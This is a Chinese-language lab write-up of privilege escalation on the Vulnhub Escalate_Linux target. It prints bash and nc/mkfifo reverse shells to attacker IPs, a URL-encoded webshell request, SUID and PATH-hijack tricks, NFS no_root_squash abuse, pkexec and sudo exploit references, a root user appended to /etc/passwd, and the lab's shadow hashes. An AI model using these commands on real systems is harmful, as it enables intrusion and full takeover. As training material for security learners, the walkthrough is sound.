此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!
在⽇常渗透测试过程中,通常会先拿到 webshell 权限,当权限过低时需要提升权限以进⼀步渗透。本篇将以 Vulnhub 的 Escalate_Linux 靶场为例,总结⼀下 linux 环境下常⻅的提权⽅法。
探测发现主机
sudo netdiscovert -r 192.168.80.1/24
找到靶机 IP:192.168.80.53 (由于⽹络变动,靶机ip会变化)
端⼝扫描
sudo nmap -Pn -sV 192.168.80.5
nmap -sVC -p- 192.168.80.53
存在http web服务、139、445、smb、nfs
先看下http服务,访问为Apache 默认⻚⾯,利用dirsearch 扫下⽬录。
发现存在 shell.php 普通⽤户权限(由于是提权靶机 所以比较容易拿webshell ⼤佬莫怪)
/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.56/3344 0>&1'
利⽤ burpsuite 进⾏ url 编码
%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%30%2e%37%33%2f%33%33%34%34%20%3e%26%31%27
反弹得到 shell
GET /shell.php?cmd=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%HTTP/1.1
Host: 192.168.80.53
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/aexchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x00 LinEnum脚本枚举
通过 which wget 发现存在wget,远程起一个web服务利用 wget 下载提权辅助脚本 LinEnum 到 /tmp 目录下。
利用LinEnum脚本枚举或通过 find / -perm -u=s -type f 2>/dev/null 查找目标主机中s权限的文件。
cd /home/user3
ls -l
./shell
除了shell之外,还存在一个 root 权限且具有写入权限的 .script.sh 脚本 利用该脚本将bash写到 tmp下并给予s权限。
echo 'cp /bin/bash /tmp/sh' > .script.sh
echo 'chmod s /tmp/sh' > .script.sh
在user5下 也存在s权限的 script 文件,运行后功能 等同于 ls (等价于 C中的 system('ls')) 。
cd /tmp
echo '/bin/bash' > ls
chmod 777 ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
(该方法在现实情况下很少会遇到,在靶场环境中可能会遇到)
尝试执行pkexec命令 发现主机存在pkexec,考虑试下pkexec的提权漏洞
漏洞利用思路:通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查。通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH。构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权。
POC1:https://github.com/nikaiw/CVE-2021-4034
POC2: https://github.com/berdav/CVE-2021-4034
(注:该漏洞的修复可选择打补丁或者去除 pkexec 的 s权限:chmod 0755 /user/bin/pkexec)
得到一个账号密码 ,cat /etc/passwd时发现存在mysql用户,使用该用户密码可以登录。
find / -user mysql ,查看 mysql 用户下所属文件
cat /etc/mysql/secret.cnf,得到root用户的登录密码。(但是该密码并无法登录到root用户)
通过前面的 pkexec 的root权限查看该文件,得到user2~user8的登录密码 user{i}@12345
cat /etc/crontab ,发现在user4下存在root权限的定时任务。
/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.60/8899 0>&1'
中间有 ' 用 echo 不太好处理 ,需要利用管道命令 mkfifo 处理。
echo 'mkfifo /tmp/tmpipe; nc 192.168.80.60 8899 0</tmp/tmpipe | /bin/bash > /tmp/tmpipe 2>&1; rm /tmp/tmpipe' > autoscript.sh
./autoscript.sh
前面nmap扫端口时候 发现有nfs服务,利用LinEnum收集也找到了nfs相关信息,也可以通过 cat /etc/exports 查看。
sudo showmount -e 192.168.80.56
2.创建本地挂载目录,挂载共享目录。利用攻击机kali本地root权限创建 suid shell
shell sudo mkdir -p /tmp/data
sudo zmount -t nfs 192.168.80.56:/home/user5 /tmp/data
sudo cp /bin/sh /tmp/data/shell
sudo chmod u s /tmp/data/shell
./shell -p
通过ls -l可看到shell文件已被写入到user5目录下且具有s权限。但是不管尝试bash 还是sh,都会报错 libtinfo.so文件缺失。(在ubuntu18下经常会出现该问题 在ubuntu20下则不会有该问题,由于靶机是ubuntu版本所以会报错缺失so文件)
通过前面提权方式 cat /etc/shadow 获取相关用户shadow信息 (需要先高权限获取shadow文件在进行爆破,仅作为一种思路)。
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::
sudo vi
:!sh
# 或者
sudo
vi:set
shell=/bin/sh:shell
user2 下 user1 均具有所有权限,登录到user1,su root可得到root权限(注:在执行部分命令或使用su切换用户时,可能会提示需用terminal运行。可以通过python起一个交互式shell: python -c 'import pty;pty.spawn('/bin/bash')'
sudo -V 查看sudo版本为 1.8.21p2 该版本存在sudo堆缓冲区溢出漏洞可用来提权。(漏洞影响版本:Sudo 1.8.2 - 1.8.31p2及Sudo 1.9.0 - 1.9.5p1)
通过前面nfs挂载,直接在kali下下载poc,拷贝到user5目录下make编译。(直接上传文件夹会被识别为html类型,推测为ubuntu18下libtinfo.so的问题)
/expolit 'id'
cat /etc/group #查看用户组
用户user4/user7 可以修改 /etc/passwd 写入新建用户,在kali下利用openssl 生成加盐用户密码
echo 'test:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0:/root:/bin/bash' >> /etc/passwd
本篇中部分方法可能过于理想只适用于靶场环境中,在实战中可能很少遇到,主要提供一些学习的思路。
根据内核版本找对应版本的漏洞进行提权。
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a
SUID可以让程序调用者以文件所有者身份运行该文件,当我们以普通用户去运行一个root用户所有的SUID文件,那么运行该文件后就可获取到root权限。
# 查找具有s权限的文件
find / -perm -u=s -type f 2>/dev/null
普通用户在使用sudo执行命令时,将会以root方式执行命令。在很多场景下通过配置sudoer文件可实现免密以root权限运行。通过 sudo -l 查找用户下高权限第三方应用,可借助GTFOBins进行提权。
系统中可能会有一些定时执行的任务,这些任务都由crontab管理,可通过cat /etc/crontab查看计划任务,检查是否存在可以利用的文件,其本质就是文件权限配置不当。
当在目标机器查到具有SUID权限的编译文件,则可以通过以下方法获取管理员权限。该方法在实战中很难遇到 感觉只适合靶场的理想环境下。
echo 命令法
cd /tmp
echo '/bin/bash' > ls
chmod 777 ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
cp 法
cd /home/user5/
cp /bin/sh /tmp/ls
echo $PATH
export PATH=/tmp:$PATH
./script
软连接法(在此靶场中未利用成功)
ln -s /bin/sh /tmp/lsexport
PATH=/tmp:$PATH
cd /home/user5/
./script
当服务器中存在nfs共享,且开启了no_root_squash时(可通过cat /etc/exports查看),如果客户端使用的是root用户,那么对于共享目录来说就有root权限,以此提升权限。
查看NFS服务器共享目录
创建本地挂载目录 挂载共享目录,利用攻击者本地root权限创建 suid shell
在服务器中以普通用户运行 shell -p 以获取root权限
Mysql数据库提权有UDF提权、MOF提权、写入启动项等方式来提权,较为常见的则是UDF提权,具体步骤可分如下几步:
连接数据库
创建自定义函数
设置自定义函数权限
执行自定义函数以获取root权限
如果 /etc/passwd 文件可写入(cat /etc/group 查看root组是否可以写入) 可通过openssl生成盐密码 利用echo写入root权限用户到/etc/passwd中。
联系客服